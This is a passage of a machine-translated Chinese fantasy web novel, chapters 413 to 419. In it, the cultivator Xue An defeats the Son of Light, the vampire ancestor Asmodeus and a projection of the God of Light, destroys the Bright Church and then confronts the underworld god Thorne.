    Xue An ignored his clamor, instead looking at the blood ancestor on the side, his eyes gradually brightened.


    The blood ancestor at this moment is also full of anger.


    But at the same time, there was some fear in my heart.


    This Xue An was really not an ordinary person, and he smashed his head with a punch.


    But when he felt Xue An''s gaze, he looked up, and his whole body trembled.


    Xue An''s eyes were simply too evil.


    It''s like... looking at a rare treasure!


    The blood ancestor said angrily, "What are you looking at?"


    The corner of Xue An''s mouth rose, and a smile appeared, "I have been skeptical, but today I finally confirmed that your blood family is really related to the blood demons!"


    "So what?" Xue Ancestor said coldly.


    "No way, I just feel a little bit interesting!" Xue An was full of excitement.


    What he thought was, since the blood family is the descendant of the blood demon, doesn''t it mean that the blood demon can also condense the blood beads?


    This is a big discovery!


    When traveling through the heavens in the future, you must first capture and condense the blood demons!


    Xue An was calculating in his heart.


    Shengzi Guangming couldn''t contain the anger in his heart, and at the same time he was a little jealous of Xue An, so he simply took the lead.


    "The glory of the Supreme God!" Shengzi Guangming yelled coldly.


    A holy light soared into the sky, and then turned into a huge holy sword, smashing straight at Xue An.


    The strength of this sword made the pope and others on the square as well as many people watching the excitement all astonished. They were courageous and even knelt on the ground.


    Only the people in the dark council felt nothing.


    Because a figure stood in front of them.


    I saw Xue An standing with his hand holding his hand, raising his head to look at the falling holy sword, and faintly smiled, "At most a high-level god, actually called the Supreme God!"


    This sentence is not loud, but it sounds like a bolt from the blue in the ears of Shengzi Guangming.


    "A fanatic, dare to slander my God Father, die!"


    The power of the Holy Sword of Light has been stronger by three points.


    At this moment, the holy sword has arrived in front of Xue An.


    Compared with the shining giant sword that smashed the sky and the earth, Xue An''s figure looked so thin.


    But even so, Xue An still stood proudly, and then slowly stretched out a hand.


    To be precise, it should be a finger, and then it directly hit the point of the stabbed holy sword.


    This scene made many people think that Xue An was crazyHow could the body of the flesh stop such a holy sword?


    Besides, still use one finger.


    The Son of Guangming showed ecstasy, and God the Father understood him clearly, as long as he kills this Xue An and destroys his soul, he will be given a priesthood!


    But at this moment, a scene that made everyone dumbfounded appeared.


    No matter how amazing the sword power of that Huanghuang giant sword was, it couldn''t be stored in front of Xue An''s finger.


    It''s as if a powerful wave has encountered an indestructible dam.


    But the propelling force of the Light Sacred Sword was so powerful, even though the tip of the sword was blocked, it was still pushing forward crazily.


    Click!


    From the point of the sword, the holy sword began to break inch by inch, and then piled up in front of Xue An''s fingers.


    In the end, it has even become a pool of holy sword fragments.


    Guangming Shengzi looked at the boss with an open mouth.


    But with the power of a finger, the Holy Sword of Light was broken.


    This body is too powerful!


    Xue An slowly turned his head to look at him, and said lightly: "Do you know how to use a sword?"


    With that, countless sword lights emerged, instantly forming a supreme giant sword that was several times larger than the light holy sword just now.


    Then Xue An suddenly swung his sword with his hand, and said coldly, "Look at the sword!"


    boom!


    This sword directly hit the top of Guangming Shengzi''s head.


    Just like hitting a hamster, he directly blasted Guangming Shengzi from midair into the ground.


    Then Xue An waved his hand, and the giant sword rushed towards the blood ancestor Asmode.


    Asmodeus trembled, turning into a streamer and wanted to avoid the sword.


    But helplessly, the huge sword was so big that it was even like a wall, and Asmod didn''t avoid it at all, and was directly smashed into the ground.

 Chapter 414： Couple in battle

    "This... how is this possible!" The Pope and the Light Paladin and others exclaimed.


    For them, the Son is the incarnation of the supreme God of Light, an invincible and noble existence.


    But since Xue An appeared to the present, the noble Saint Son has been smashed into the ground twice.


    This is simply destroying their worldview.


    Xue An has no time to talk to them.


    Because at this moment, those first-generation and second-generation blood races saw their ancestor being beaten, and they all rushed up with canthus.


    Seeing this situation, Xue An almost wanted to look up to the sky and laugh.


    This is simply going up to give people away!


    "No!" Asmodeus, the blood ancestor, just rushed out of the pit and saw this scene, he couldn''t help shouting.


    Unfortunately, it was too late.


    Xue An waved his hand, and the white flame swallowed the blood race.


    After a while, these blood races were all condensed into blood beads.


    Xue An happily picked one up and looked at it, then nodded in satisfaction, "Yes, much larger than the Prince''s!"


    Asmodeus looked at her with chills.


    More than a dozen first-generation and second-generation blood races did not even have the ability to resist, so he turned them into blood beads directly?


    Is he the devil or are we the devil?


    Xue An collected the blood beads and smiled at Asmode, "Isn''t you envious? Don''t worry, it''s your turn right away!"


    Asmodeus trembled and roared: "You are envious, your whole family is envious!"


    Xue An''s eyes were slightly cold, but his smile did not change, but with a wave of his hand, the giant sword fell down.


    boom!


    Although Asmodei roared and tried to parry, he still couldn''t handle it and was smashed into the ground again.


    "Speak more civilized. At any rate, he is a demon **** who has lived for thousands of years. Isn''t this quality lacking?" Xue An said calmly.


    Many people find it ridiculous and dumbfounding.


    How to teach the blood to be civilized and polite?


    Is this funny?


    At the same time, a holy light that resembled a cannonball soared into the sky, accompanied by an extremely angry voice.


    "Xue An, I want to let your soul fly away!"


    It is the Son of Light!


    Seeing this scene, the Pope and others breathed a sigh of relief.


    Master Shengzi is fine!


    God is really invincible!


    A smug smile just appeared on the corners of these people''s lips.


    Xue An took out his ears in his spare time, and said impatiently: "It''s really noisy! And can''t you say something new?"


    With that, Xue An picked up the giant sword and blasted directly towards the Bright Son who had just stood in mid-air.


    boom!


    I saw this Lord Son who looked like a baseball that had been hit, was directly bombed out and flew into the sky in a beautiful parabola.


    Shengzi Guangming was so angry that he yelled in mid-air, "Xue An, don''t use the sword if you have the ability! Let''s go single!"


    Before he finished his words, Xue An didn''t know when he had already appeared in Guangming Shengzi''s foothold, and said lightly: "You told me not to use the sword, I don''t need it? Why do I listen to you so much?"


    "You...what do you want to do?" Shengzi Guangming was restrained by the sword light in the air, unable to move at all for a while, and could only shout in horror.


    "What are you doing? Of course... I played baseball!" As he said, Xue An swung another sword.


    boom!


    Shengzi Guangming was shot directly into the air again.


    Then Xue An appeared at the footing point at a speed almost like a teleport, and flew again....


    Everyone stared dumbfounded.


    Especially the people of the Bright Church, with their mouths open, they could squeeze three duck eggs into them, and they watched this scene in disbelief.


    Seeing the omnipotent son in his heart, he was playing back and forth like a baseball by Xue An!


    At this moment, An Yan and others also rushed to the scene.


    An Yan was also a little nervous at the moment.


    After all, on the way here, Quintina and Serena had already said everything.


    In their words, both the Guangming Son and the ancestor of the blood race are unprovoked existences.


    This made An Yan a little worried, for fear that Xue An would suffer again.


    But after this, the situation is completely different from what I imagined.


    The three of them looked up at the Guangming Shengzi who was beaten up while yelling, all of them looked blank.


    "Is this the God''s spokesperson, the invincible Son of Light?" An Yan asked softly.


    Serena and Quintina nodded blankly, "Yes!"


    "Doesn''t it look great!" An Yan said.


    At this time, Xue An also saw An Yan below, showing a slight smile, and threw the blood drop in his pocket directly.


    "Wife, go on!"


    "Good!" An Yan was pleased to go forward to pick it up.


    suddenly.


    Being smashed into the ground, Asmod, who had not moved, rushed out of the ground and rushed towards An Yan with a grinning grin.


    He had just been secretly observing the situation above.


    Xue An''s toughness made him a little frightened, so he decided to hide for the time being and act according to the situation.


    But Qiao An Yan is here.


    When he heard Xue An call her his wife, Asmod was ecstatic.


    If you kill my blood descendants, then I will arrest your wife and force you to submit!


    Thinking of this, he rushed out of the ground and headed straight for Anyan.


    "Be careful!" Quintina and Serena were shocked, trying to stand in front of An Yan.


    "Shameful blood traitor kneel down!"


    Asmodeus saw that Serena and Quintina were of blood, he couldn''t help being furious, and after a roar, both of them couldn''t support it and knelt on the ground.


    Asmodeus is the ancestor of the blood clan, this is suppression from the blood line level, and the two of them are unable to resist.


    "Mother, run!" Quintina saw that Asmodeus had rushed to the front, worried about An Yan''s safety, she couldn''t help shouting.


    "Humph!" Asmod snorted coldly.


    Quintina shuddered, and blood came out from the corner of her mouth.


    "I''ll clean up you later!"


    Asmode said in a cold voice, he had already rushed to An Yan, his hand stretched out, and he was about to touch An Yan''s shoulder.


    At this moment, An Yan''s face showed excitement.


    what happened!


    Why is this woman not afraid? What about the excitement?


    Asmodeus was wondering.


    Seeing An Yan suddenly appeared in a huge pan in her hand, she shouted, "Look at the pan!"


    call!


    An Yan rounded the pan and patted Asmode''s head directly.


    The new head that had just been smashed by Xue An was barely smashed under this pan.


    Although it wasn''t broken, Anyan''s pot directly blasted Asmode off the ground.


    Asmodeus was so frightened that he was beaten by a human woman?


    This is simply the face of the Lord of Disgrace!


    I want to break your body into pieces!


    Asmodeus roared inwardly and wanted to move.


    But at this time, he was horrified to discover that he could not move anymore.


    Not only could he not move, but he also felt a masculine pure yang power all over his body, making him uncomfortable to vomit blood.


    This...what is going on?

 Chapter 415： Since its here, lets sleep here!

    In the eyes of everyone on the sidelines, the blood ancestor who had been blasted to the sky was entangled by lightning, and the rich blood on his body was constantly weakened by the crackling thunder light.


    Asmodeus finally noticed the strangeness, and yelled in horror.


    "It''s the Nine Heavens God Thunder, how can you control this power?"


    The Nine Heavens Divine Thunder is the most masculine and strong, and it has a powerful lethality against the evil things of the blood race.


    An Yan smiled, "Why can''t I have one?"


    Then he raised his head and yelled to Xue An with joy: "Husband, do you think I am good?"


    Xue An nodded, "Awesome!"


    An Yan looked at Xue An, who was playing "baseball" more and more smoothly, and said with some excitement: "Husband, I also want to play this blood like you! But I can''t fly!"


    An Yankong has the cultivation base of Sanxian, but the actual tricks are very poor in application.


    Xue An smiled, and a sword light passed.


    "All right!"


    An Yan flew up in excitement, stiffened towards the body of Leiguang, and rushed towards Asmode, who flew straight to the sky.


    After standing up in advance, An Yan held the pan with both hands, found the angle, and waited for Asmod to arrive.


    She waved her hand suddenly, "Looking forward!"


    boom!


    This pan was hitting Asmode''s back.


    Asmod screamed and flew out at a faster speed than when he came.


    An Yan rushed out afterwards excitedly.


    then.


    Here Xue An is playing baseball with Guangming Shengzi.


    On the other side, An Yan was taken with a pan.


    For a time, blood and holy light flew in the sky, screaming and roaring together.


    Everyone looked up at this scene with dull faces.


    Serena and Quintina looked at each other, and both saw the shock in each other''s eyes.


    Then Serena smiled bitterly, "It turns out that we are all worries for nothing!"


    Anastasia patted Fan Mengxue lightly, and said lightly: "Did you see, what is invincible? This is truly invincible! You and I are just asking for trouble!"


    Fan Mengxue stared blankly, then nodded gently.


    Of course, it is the people of the Bright Church who are most shocked and appalled.


    The Pope looked pale and said, "This...what about this? If you continue to fight like this, Lord Son will probably be killed!"


    Several senior officials looked at each other, and the heretical chief referee stepped forward and said: "My Lord Pope, this is the end of the matter. In my opinion, I can only use the light artifact!"


    The Pope''s face changed drastically.


    The artifact of light is the source of the power and glory of the pope.


    If he took it out now, once there was damage, his power would plummet.


    But you can''t just watch Master Shengzi, just be hit like a baseball.


    After thinking for a moment, the pope gritted his teeth, reached out and took out a small box from his arms.


    Seeing this box, the heretic chief judge''s eyes were full of greed.


    Because this is the famous Pandora''s box.


    It was snatched from the false gods during the church''s eastward campaign, and later it was used to store light artifacts.


    The pope opened the box with regret.


    A soft but powerful holy light radiated.


    The pope reached out and took out a piece of yellowed parchment from the inside.


    boom!


    The endless holy light enveloped the entire square like flowing water.


    The Son of Brightness in mid-air was overjoyed when he saw it, "It is the old covenant signed by God the Father himself!"


    Then, as soon as he stretched out his hand, all the parchment in the Pope''s hand, including the Pandora''s box, flew into his hand.


    In the Old Testament of Guangming, there was the divine power of the God of Guangming himself, so when the Son of Guangming started, he lifted his bondage.


    "Xue An, accept Guangming''s trial!" Guangming Shengzi said with a grinning smile.


    The other two artifacts of light were also taken out of the Pandora''s box.


    The crown of light is worn on the top of the head, the left hand holds the holy sword of light, and the right holds the old testament of light.


    A wave of powerful light power madly poured into Guangming Shengzi''s body.


    Feeling this incomparably abundant power, the Son of Brightness laughed loudly, "Xue An, die!"


    As he said, a sword swung out.


    Click!


    A slight crack appeared in the space.


    Many people watching this scene have eyelids jumping wildly.


    Because this is beyond their ability to understand.


    Xue An laughed, and as soon as he let go, the giant sword turned into a sword light again, disappeared, and then stood with his hand held, and said lightly.


    "Do you really think you can win me with these so-called artifacts? I can only say that you are too naive!"


    "Stop talking nonsense, the killing of the mighty power!" Guangming Shengzi squeezed these words out of his teeth.


    An incredibly murderous light hit Xue An directly.


    Wherever he went, the space seemed to fluctuate.


    But Xue An''s expression was indifferent, and instead of retreating, he took a step forward and then raised his fist.


    "Even if your father is here, I am not afraid, let alone you!"


    After all, a punch came out.


    No words can describe this punch.


    Now Xue An''s strength is increasing rapidly, so the power of this punch includes all the tricks of the six ways to kill the gods.


    The light that struck was stagnated for a while under Xue An''s punch and then it broke.


    Shengzi Guangming screamed, "How is it possible!"


    The voice was full of fear.


    This was the first time he felt scared.


    Although he was very embarrassed by Xue An just now, Shengzi Guangming knew that these attacks could not harm his sacred body at all. It was just that the face was a little ugly, so he was not afraid.


    But now, Xue An''s power of the punch finally made him understand that Xue An could kill his life with one punch.


    How can this make him not afraid?


    Xue An raised his eyes and smiled at Shengzi Guangming, "I won''t play with you anymore. Since you gods and demons are coming down in a hurry, then I will let you sleep forever in this world!"


    After all, Xue An disappeared in the same place, and when he reappeared, he had already come to the front of Guangming Shengzi.


    Then raise his fist and drink lightly.


    "Exit!"


    boom!


    The power of this fist seems to shake the world.


    Directly blasted the sea of ??clouds in the sky out of a long road with no end in sight.


    Shengzi Guangming stood there, silent.


    Then, the crown of light on top of his head, the holy sword in his hand and the Old Testament all shattered and turned into powder.


    As it turned into powder, there was his sacred body, which was known as invincible.


    thump!


    The Pope Guangming and others on the ground all softened their legs and knelt on the ground in despair.


    Shengzi Guangming was actually killed by this man with a punch!


    But at this moment, I saw a bright brilliance soaring into the sky in the holy light that turned into powder.


    A giant gate surrounded by brilliance appeared above the dome.


    This brilliance went straight to the giant gate, fast, like a meteor.


    Xue An said coldly, "What? Do you still want to run?"

 Chapter 416： I...I am the guardian of this world!

    After saying that, Xue An stepped out and came directly to this Guanghua, and then directly held this Guanghua.


    Surprisingly, it is a godhead surrounded by holy light.


    As Xue An grasped this godhead, the door of light above the dome also flickered violently.


    Xue An smiled coldly, "This world is not something you can leave when you want to come and go! I said that if you want to sleep here, it naturally includes this godhead!"


    After all, Xue An suddenly used force.


    Click.


    A slight crack appeared in the godhead.


    From the godhead came the horrified cry of the Son of Light.


    "Father God save me!"


    boom!


    With this shout.


    The gate of light disappeared.


    As they disappeared together, there was the entire sky above.


    The shining stars hung above the sky, exuding cold and diamond-like light.


    And a huge sun-like idol slowly raised his head.


    The deity''s eyebrows are drooping, but it seems that there is endless holy light in it.


    The extremely majestic power of light made the whole world tremble.


    All the members of the Church of the Light were crawling on the ground, chanting the holy name of the God of Light in tears.


    For them, it is almost dead and no regrets to be able to see the Supreme God in their lifetime.


    The Dark Council, the crowd of people who were bystanders, and even Asmode, who had been beaten by An Yan with a bruised nose and swollen face, all watched this scene in astonishment.


    Asmodeus trembled even more, and said in horror: "Did the God of Light actually make the shot himself?"


    Xue An didn''t panic. He raised his head and looked at the statue that occupies the entire dome. A cold smile appeared at the corner of his mouth.


    "You don''t hesitate to use your power of the kingdom of God to bring the projection down. It seems that this world is very attractive to you, gods and demons!"


    An eternal smile appeared at the corner of the god''s mouth, and then came a majestic holy voice.


    "Xue An, although I don''t know why the Wheel of Fortune will prompt you to eliminate you, but you can actually hurt my son of God, this is already a capital crime!"


    "Son of God?" Xue An raised the Godhead in his hand and smiled faintly, "Do you mean this waste?"


    "Now letting go of the son of God, I can consider letting go of your soul!"


    Xue An smiled coldly and squeezed hard.


    boom!


    The godhead shattered, and a group of brilliant brilliance exploded in Xue An''s hands.


    Before the scream of Guangming Shengzi had time, he was frightened and disappeared into the sky.


    Xue An actually squeezed the Godhead of the Son of Light!


    The **** of light let out a roar.


    The higher the **** level, the more difficult it is to give birth.


    As a high-level **** of light, a **** child may take tens of millions of years to be born.


    So every **** child is his precious wealth!


    Now Xue An killed one!


    Under the fury, a bright divine light appeared on the entire dome.


    This is the power of light that is countless times more refined than the Holy Light.


    "Judgment!" The God of Light gave a soft cry.


    A huge divine light is about to fall.


    This is an indiscriminate attack. Once it falls, the entire Illuminati State may be destroyed.


    Xue An chuckled slightly, "It made the formation quite big, as if it was quite bluffing, but..."


    Before he finished speaking, Xue An turned into a stream of light, directly breaking through the divine light covering the sky, and flew in front of the idol.


    Xue An looked so inconspicuous before this bright statue of heaven and earth, not even as big as a tiny finger of the statue.


    In this contrast, Xue An said calmly: "Even the gods of the ten thousand realms have to submit to me, what are you...what?"


    As soon as this sentence came out, the drooping eyes of the God of Light slowly opened.


    A pair of **** eyes were full of anger and disdain.


    "Human, I don''t know where your confidence comes from, but I will let you know awe!"


    As he said, one hand of the God of Guangming raised up, as if covering the whole world, slowly shooting down under Xue An.


    And in this palm, there is also a divine light that is enough to confine the space.


    But even in the face of such a shocking palm, Xue An is still not sad or happy, but coldly said: "You really want to learn to be awe, you should be such a self-righteous god!"


    With that, Xue An turned into a streamer, penetrated directly through the palm of his hand, and came to the center of the eyebrow of the statue.


    Blossoms of white lotus flowers emerged.


    The **** of light trembled, "God flame! How can you have such a **** flame?"


    Xue An smiled slightly, "This question, wait until you return to your God Realm and think about it!"


    With that, Xue An raised his fist and blasted out!


    "Exit!"


    Click.


    Cracks gradually emerged on this huge idol.


    Then I heard a voice that was frightened and frightened, "Who are you?"


    "I...I am the guardian of this world! This world is not yet your turn to covet it!" Xue An stood proudly and said lightly.


    "You wait, I will..."


    Xue An smiled, "You don''t need to find me, I will find you after a while!"


    boom!


    The idol began to disintegrate and shattered, and finally turned into powder and disappeared.


    The sky returned to normal.


    The warm sun fell down.


    No one speaks.


    Everyone looked at the man above the dome in awe because that is a man who can kill God!


    A stream of light flashed, Xue An appeared beside An Yan, and then smiled faintly at Asmode''s dull face.


    "Now it is your turn!"


    Asmodet shuddered, so scared that he almost urinated.


    "My lord is forgiving, my lord is forgiving, I will roll back to the blood world now, and I will never come to this world again!"


    Xue An shook his head, "It sounds good, but it''s too late!"


    After all, the flame covered Asmodeus.


    Asmodee is worthy of being the ancestor of the blood race, even under the flames of this god, he persisted longer than the average blood race.


    A full cup of tea.


    Asmodeus was completely refined and became a blood bead the size of a child''s fist.


    Xue An smiled and passed the blood bead to An Yan.


    "Yan''er, put it away!"


    "Hmm!"


    Then Xue Ancai looked down at the audience.


    Many people dodged his gaze and didn''t dare to look directly at him.


    After seeing the people of the Bright Church, Xue An flew over.


    Pope Guangming paled at this moment, and when Xue An appeared, he almost passed out.


    "You...what are you going to do?" the pope said with a trembling voice.


    Xue An showed good-looking teeth and smiled sensibly, "What do you mean?"


    "You are the devil, God will not let you go!" The pope said tremblingly.


    But as soon as the voice fell, the heretical referee suddenly stepped forward and pierced a dagger into the body of Pope Bright from behind.


    The pope screamed, and the light on his body fluctuated, but he couldn''t stop the heresy chief referee at all.


    "You..." The pope turned his head and looked at the heretical referee, his face full of anger and hatred.


    The heretical referee laughed, "Without the three artifacts, you are no longer the pope! And you are too pedantic!"

 Chapter 417： The sword of evil, the light is destroyed

    The heretical chief referee bowed his head at Xue An, and said respectfully: "Dear lord, your strength is beyond doubt, I would like to be your eternal follower!"


    His move caused a blast inside the Bright Church.


    The pope, who was seriously injured but not dead, roared in anger, "Francis, you bastard, you betrayed the Supreme God!"


    The heretical referee Francis did not refute, but smiled and twisted the hilt of the knife. This cursed blade specially used to kill the light turned a circle in the pope''s body.


    The severe pain was accompanied by a surge of blood, and soon the Pope lost his vitality.


    Then Francis drew out the blade and took a half step back.


    As he drew his sword, the pope threw himself and fell to the ground, his face pale, his breath was weak, and he was obviously dead soon.


    But even so, the pope still glared at Francis. If his eyes could kill, Francis would be riddled with holes.


    Francis didn''t care, and smiled slightly: "Betrayed the gods? No! I did not betray! The God of Light has been defeated, and the defeated God is no longer a God!"


    With that, Francis bowed respectfully towards Xue An, "Only you... are the supreme **** in this world!"


    His move shocked the onlookers.


    As for the pope, he has gone to heaven in serious injury and anger.


    There are also many middle-level or low-level Guangming congregations on the square. These people have seen the Supreme God of their faith be defeated, and they are already on the verge of collapse.


    Now there is another fight at the top, and even the Pope has been killed.


    Many people collapsed completely, drew out their knives and committed suicide directly.


    But the remaining bright giants didn''t mean to die at all. Instead, they looked at each other, and their faces showed hesitation.


    Xue looked at him quietly, his face was unhappy, no happiness or anger was visible.


    He didn''t speak, Francis could only bend down like this.


    The atmosphere became serious.


    I don''t know how long it took, Francis''s face gradually seeped a layer of cold sweat, and then dripped on the bluestone slab under his feet.


    A faint smile appeared at the corner of Xue An''s mouth, and said lightly: "I am God?"


    Francis was secretly relieved.


    He was afraid that Xue An would not say a word. As long as Xue An speaks, it would be easier!


    "Yes, my lord!" Francis spoke in pure Chinese.


    This is what he has been practicing secretly.


    He is a very smart person, and a smart person would never bet everything on one party.


    "The Bright Church has a huge industry that is unimaginable in the world, and I am willing to manage all this for Lord God!" Francis whispered.


    "It sounds good, but it seems that your colleagues are not reluctant!" Xue An said.


    Francis looked up and smiled, "No, they will be willing!"


    really.


    After seeing Xue An''s attitude loosening, the presiding judge and the Paladin of Light looked at each other, then took a step forward and bowed together, "I hope you will be the new god!"


    Following the expressions of these giants, their subordinates, as well as many cardinals, lowered their once proud heads.


    "May you be a god!"


    Behind them is the towering Holy Light Cathedral, which constitutes a rather ironic picture.


    Seeing this scene, Fan Mengxue in the distance was a little silly, and said blankly, "This...can it be like this? Even the gods you believe in can be replaced instantly?"


    The Titan giant on the side smiled disdainfully, "Is it weird? These light pests have always been like this. In the face of huge interests and lives, the so-called belief is just a high-sounding excuse, they can put aside at any time!


    Fan Mengxue was silent.


    Anastasia watched quietly, with a flash of worry in her eyes.


    As someone who has fought with the Bright Church for thousands of years, she knows these guys too well.


    When you are strong, they will do everything possible to please you and treat you as a god.


    But when you show signs of weakness, they will become bloodthirsty sharks, swarming and tearing your flesh away.


    Many peerless powerhouses did not die on the frontal battlefield, but died humiliatedly and tragically amidst the calculations of the fly camp.


    I wonder if you... can you pass this level?


    "It sounds good!" Xue An said, slowly walking to Francis standing in the front row.


    Francis knelt on the ground without hesitation and gently kissed Xue An''s shoes.


    "God..."


    He didn''t say the following words, because a ray of sword light swept past and directly flew his head away.


    In mid-air, Francis''s face was still frozen with the last trace of shock and incomprehension, as if he did not understand why Xue An wanted to kill him.


    "Unfortunately, I don''t like it! I don''t like it very much!" Xue An said lightly, and the endless sword light gradually emerged, aiming at all the Guangming cultists.


    Seeing this scene, the Light Paladin and others trembled, with an incredible expression on their faces.


    They couldn''t imagine that there would be someone who would refuse the massive wealth and the unparalleled **** position at their fingertips.


    "Master God, don''t..." The Paladin shouted.


    The only response to them was the sword light that rained down.


    A layer of light power emerged from the presiding judge, and he wanted to resist, but under the dense sword light, he could only support a few breaths before being swallowed by the sword light.


    In contrast, this Paladin has persisted the longest.


    The power of light formed a thick layer of armor to resist these sword lights and rushed out of the square at an astonishing speed.


    almost!


    As long as you rush through this wall, then you are very likely to escape!


    The Paladin of Light was secretly happy.


    suddenly.


    He felt that he had become extremely light, his eyes jumped high, and he could even see the top of the church.


    what happened?


    He was wondering in his heart, and then he rolled over and saw a headless body standing on the ground.


    This corpse seems very familiar!


    The Light Paladin thought, and then fell into the eternal darkness.


    The sword light rose again.


    On the sacred square, corpses were everywhere, and almost all the cultists of the Light were dead.


    The blood stained the ground red. UU Reading www.uuk��nshu.com


    Only a few people stood still trembling, their faces pale.


    Xue An just used the sword of seeking evil.


    As long as you commit the damned crime, then this sword aura will directly kill you.


    As for those who did not die, naturally they did not commit heinous sins.


    Can look at the few survivors.


    Xue An sighed softly, "The so-called bright, but so! Go!"


    With Xue An''s go, these sword lights formed an indestructible torrent, heading straight to the brilliant buildings that looked exquisite but contained dirt and dirt.


    Where the sword flow passed, all the buildings were destroyed!


    But for a while, the Guangming State Church was razed to the ground.


    The Bright Church has now become history!

 Chapter 418： Pluto, Ill ask you for someone

    Standing on the empty square, watching the once towering building become a ruin.


    Everyone in the Dark Council is stupid.


    After a while, Karthus lying on the ground said in a weak voice, almost moaning: "I like this guy, no, I should say I love him so much! He did the best in my life. Things you want to do but can''t do!"


    Only those onlookers were shaking with fright at this moment.


    Especially those who have said bad things about Xue An, who are less timid, have been directly scared to pee.


    But Xue An didn''t bother to pay attention to these guys. After doing all this, he turned and came to Fan Mengxue.


    At this moment, Fan Mengxue''s face was blank, and there was still the paleness and haggard left over from overdrawing the body and using the forbidden curse.


    A distressed look appeared in Xue An''s eyes.


    These things she did may be meaningless and even pushed herself into an extremely dangerous situation.


    But she did it for... it was herself!


    "What a silly girl!" Xue An said, rubbing Fan Mengxue''s hair gently.


    Fan Mengxue lowered her head, docile like a kitten.


    It''s just between the falling blue silk, but there are tearful eyes.


    An Yan also came over, watched this scene with a slight smile, and then held Fan Mengxue.


    Xue An looked a little bit irritating. "When can you fix your trouble with messing up people''s hair?"


    Xue An touched his nose in embarrassment.


    "Is it a problem to mess people''s hair?"


    An Yan nodded, "Of course, don''t you know how much energy it takes for a girl to get a perfect hairstyle?"


    Xue An shook his head, "I don''t know!"


    "Go, let''s go over there!" An Yan dragged Fan Mengxue away.


    After they walked away, Xue An retracted his gaze and looked at Anastasia and others.


    "Who made her go on the dark road?" Xue An''s tone was full of chill.


    Anastasia smiled bitterly when she heard the words, "Mr. Xue, no one forced her, everything was voluntary!"


    "Volunteer? You are the one who fell in love with her dark aptitude!" Xue An said lightly.


    Although there is no murderous aura in the words, it still makes people shudder with the Yu Majesty of Tushen.


    Anastasia lowered her head.


    Xue An stepped forward.


    A Titan hurriedly stood in front of Anastasia, "Mr. Xue, we are not malicious, you..."


    "Get out of the way!" Xue An snorted lightly.


    This huge Titan was directly pushed aside with this soft drink.


    Anastasia trembled slightly and her face turned pale.


    Xue An walked straight by her, and at the same time said indifferently: "For the sake of all of you who are not afraid of life and death to save her, forget about this this time!"


    Hearing this, everyone in the Dark Council was relieved.


    Xue An came to Karthus, who was lying on the ground, with a smile on his lips.


    "Necromancer?"


    Karthus chuckled a few times, "That''s right! Seriously, what you did just now is so handsome. I seldom convince anyone, but you are one!"


    Xue An smiled, then squatted down, looked at the weak Karthus, and said lightly: "It looks like you should have returned to the embrace of Pluto a thousand years ago. Would you rather suffer endless soul pain and stay, is it worth it?"


    Hearing Xue An''s words, Karthus was stunned.


    Xue looked at him quietly.


    After a while, Karthus didn''t know where he took out a cigar. After taking a sip, he said sadly, "How did you know?"


    Xue An shrugged, "There are very few things in this world that I don''t know!"


    "Yes, I am already dead!" Karthus said lightly.


    Hearing his words, Anastasia, Titan and others were all stunned.


    After a while, Anastasia said with a strong smile: "Of course you are dead, is there still alive the Necromancer?"


    Karthus shook his head, and then took a deep look at Anastasia, "I''m talking about complete disappearance. In fact, in the Middle Ages, I was caught by the heretical referee at the time!"


    "Yes! But didn''t you say that you were rescued by your master? You also said that your master died because of this!" Anastasia said.


    Karthus smiled dryly, "Shimen...my Shimen had already been sacrificed alive at that time! Where did the Shimen come from!"


    "What about..."


    Karthus took a big mouthful of cigar, and smoke emerged from his bones, "I was tortured to death at the time, but before I died, I signed an agreement with the main **** I believed in!"


    "Agreement? What agreement?"


    "Resurrect me!"


    "Isn''t that great?" Nightmare said from the side.


    "The Immortal Underworld God is a high-level **** who is not inferior to the God of Light. He does have the ability to resurrect him and be immortal forever, but these gods have always been compared with each other. If you want to get something, you have to pay the same or even double the price. , Is that so?" Xue An said lightly.


    Karthus was silent for a moment, then nodded.


    Anastasia was trembling, her face becoming paler.


    "Then what price did you pay?"


    "Eternal soul torment!" Karthus said, and then put on a relaxed tone, "Actually I am used to it!"


    Anastasia was already in tears.


    Eternal soul torment, what kind of pain should be behind these words, most people may not even imagine!


    But as a master of dark witchcraft, she knows this very well, because all punishments against souls are the most cruel.


    What''s more, this is punishment from a master god!


    "Why are you so stupid... Why didn''t you tell me?" Anastasia stepped forward and gently stroked Karthus''s skull, choked up.


    The light in Karthus��s eyes dimmed, ��I��m no longer a human being, or even a demon or a god. The only thing I can do is to protect you like this, but I don��t need it now. The Church of Illumination has been completely destroyed and there will be People will bully you again!"


    "And I... too tired!" Karthus said slowly, his tone full of relief ~ www.novelhall.com ~ Anastasia was in tears, "Don''t go, OK! Please don''t leave! I love you! Please don''t leave me!"


    With the company for thousands of years, Anastasia has long been accustomed to Karthus''s existence, and has long been in love with him!


    It''s just the arrogance in her bones that she never showed.


    Now her heart is full of regret.


    Karthus'' eyes lit up, and then dimmed again, "Tacia, I love you too, but it''s already irreparable!"


    The blow of Shengzi Guangming had shattered his soul contract, and he could no longer stay in this world!


    He will return to the underworld and endure endless torture!


    Xue An had been watching quietly from the side, until this moment, he sighed softly, and then suddenly stomped.


    A fierce golden light flashed, and Xue An lightly said: "Pluto, I will ask you for someone!"

 Chapter 419： Do you want to pay?

    After a violent shaking, a huge virtual image that was also full of death breath slowly rose up.


    Hades Thorne!


    In charge of more than a dozen high-level gods in the world of necromancy.


    Of course, this is not his body, but a virtual image projected here.


    As for why he came so quickly.


    It was entirely because this Thorne sensed the strangeness of the soul contract and came down, ready to harvest the soul of Karthus.


    Xue An felt his dead spirit, so he stepped out and summoned him.


    "Who are you waiting, why do you call me?" Thorne''s virtual image said majesticly.


    The supernatural power of that Xuanhe made many people feel disgusted by it.


    Especially Anastasia.


    She belongs to the dark law system, and is naturally full of awe for this high-level **** who controls the darkness.


    Xue An pointed at Karthus who was lying on the ground.


    "Is this your disciple?"


    "It''s my disciple!"


    "Yes, it''s fine, now I will protect his people, you hand over the soul contract, and at the same time lift all his soul punishment!" Xue An said calmly.


    The image of Thorne was startled, and then a sneer and disdainful smile appeared on the face of the god.


    "Mortal, do you know who you are talking to? How dare you be so arrogant and rude?"


    With his voice, the endless divine power radiated, making the world change color.


    Karthus trembled even more, and his bones would fall apart at any time.


    Anastasia, Titan and others all stepped forward and blocked him with their bodies.


    "You..." Karthus said softly.


    Nightmare looked back and smiled, "You two have finally come together, how can it end so soon?"


    The people of the Dark Council blocked the divine might.


    Xue An frowned impatiently, "So, you don''t want to?"


    "Of course not..."


    Before the words fell, Xue An stepped forward and rushed directly to Thorne''s.


